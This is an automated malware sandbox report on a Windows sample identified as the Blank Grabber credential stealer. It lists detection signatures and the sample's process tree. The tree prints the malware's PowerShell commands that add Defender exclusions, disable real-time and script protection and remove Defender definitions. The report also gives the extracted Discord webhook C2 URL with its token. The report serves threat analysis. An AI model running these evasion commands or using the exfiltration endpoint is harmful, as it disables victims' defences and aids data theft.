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Windows
Analysis Report
SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Overview
General Information
Detection
Blank Grabber
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Blank Grabber
Yara detected Powershell download and execute
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Check if machine is in data center or colocation facility
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Modifies Windows Defender protection settings
Removes signatures from Windows Defender
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Suspicious Script Execution From Temp Folder
Uses ipconfig to lookup or modify the Windows network settings
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (SGDT)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Classification
- System is w10x64
- SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe (PID: 7612 cmdline:
"C:\Users\ user\Deskt op\Securit eInfo.com. Win32.Agen t-BDOJ.151 6.18040.ex e" MD5: 3C1B1F453E5F9F0D71F7862D2D6235FE) - SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe (PID: 7664 cmdline:
"C:\Users\ user\Deskt op\Securit eInfo.com. Win32.Agen t-BDOJ.151 6.18040.ex e" MD5: 3C1B1F453E5F9F0D71F7862D2D6235FE) - cmd.exe (PID: 7692 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Us ers\user\D esktop\Sec uriteInfo. com.Win32. Agent-BDOJ .1516.1804 0.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7708 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7780 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\User s\user\Des ktop\Secur iteInfo.co m.Win32.Ag ent-BDOJ.1 516.18040. exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7700 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Set-MpP reference -DisableIn trusionPre ventionSys tem $true -DisableIO AVProtecti on $true - DisableRea ltimeMonit oring $tru e -Disable ScriptScan ning $true -EnableCo ntrolledFo lderAccess Disabled -EnableNet workProtec tion Audit Mode -Forc e -MAPSRep orting Dis abled -Sub mitSamples Consent Ne verSend && powershel l Set-MpPr eference - SubmitSamp lesConsent 2 & "%Pro gramFiles% \Windows D efender\Mp CmdRun.exe " -RemoveD efinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7716 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7820 cmdline:
powershell Set-MpPre ference -D isableIntr usionPreve ntionSyste m $true -D isableIOAV Protection $true -Di sableRealt imeMonitor ing $true -DisableSc riptScanni ng $true - EnableCont rolledFold erAccess D isabled -E nableNetwo rkProtecti on AuditMo de -Force -MAPSRepor ting Disab led -Submi tSamplesCo nsent Neve rSend MD5: 04029E121A0CFA5991749937DD22A1D9) - WmiPrvSE.exe (PID: 7600 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - MpCmdRun.exe (PID: 2624 cmdline:
"C:\Progra m Files\Wi ndows Defe nder\MpCmd Run.exe" - RemoveDefi nitions -A ll MD5: B3676839B2EE96983F9ED735CD044159) - cmd.exe (PID: 7752 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Us ers\user\A ppData\Loc al\Temp\bo und.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7804 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7920 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\User s\user\App Data\Local \Temp\boun d.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7796 cmdline:
C:\Windows \system32\ cmd.exe /c "start bo und.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7844 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - bound.exe (PID: 7976 cmdline:
bound.exe MD5: 2A4DCF20B82896BE94EB538260C5FB93) - conhost.exe (PID: 8028 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7400 cmdline:
"cmd" /c i pconfig /a ll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7460 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 1512 cmdline:
ipconfig / all MD5: 62F170FB07FDBB79CEB7147101406EB8) - WerFault.exe (PID: 2024 cmdline:
C:\Windows \system32\ WerFault.e xe -u -p 7 976 -s 222 8 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0) - cmd.exe (PID: 7852 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7900 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 8044 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7936 cmdline:
C:\Windows \system32\ cmd.exe /c "wmic csp roduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8008 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 8184 cmdline:
wmic cspro duct get u uid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
- cleanup
{"C2 url": "https://discord.com/api/webhooks/1299279521836433439/GoUGaI0qQnNvUez_tVUOCPj55nOrj_OQnwDZRVe4JnsR8fWm3B0OhLukLX3stEIlIXzc"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_BlankGrabber | Yara detected Blank Grabber | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_BlankGrabber | Yara detected Blank Grabber | Joe Security | ||
JoeSecurity_BlankGrabber | Yara detected Blank Grabber | Joe Security | ||
JoeSecurity_BlankGrabber | Yara detected Blank Grabber | Joe Security | ||
JoeSecurity_BlankGrabber | Yara detected Blank Grabber | Joe Security | ||
JoeSecurity_BlankGrabber | Yara detected Blank Grabber | Joe Security | ||
Click to see the 8 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-10-27T18:44:34.269854+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.9 | 49785 | 172.67.203.125 | 443 | TCP |
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Show All Signature Results
AV Detection |
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Source: | Malware Configuration Extractor: |
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: |
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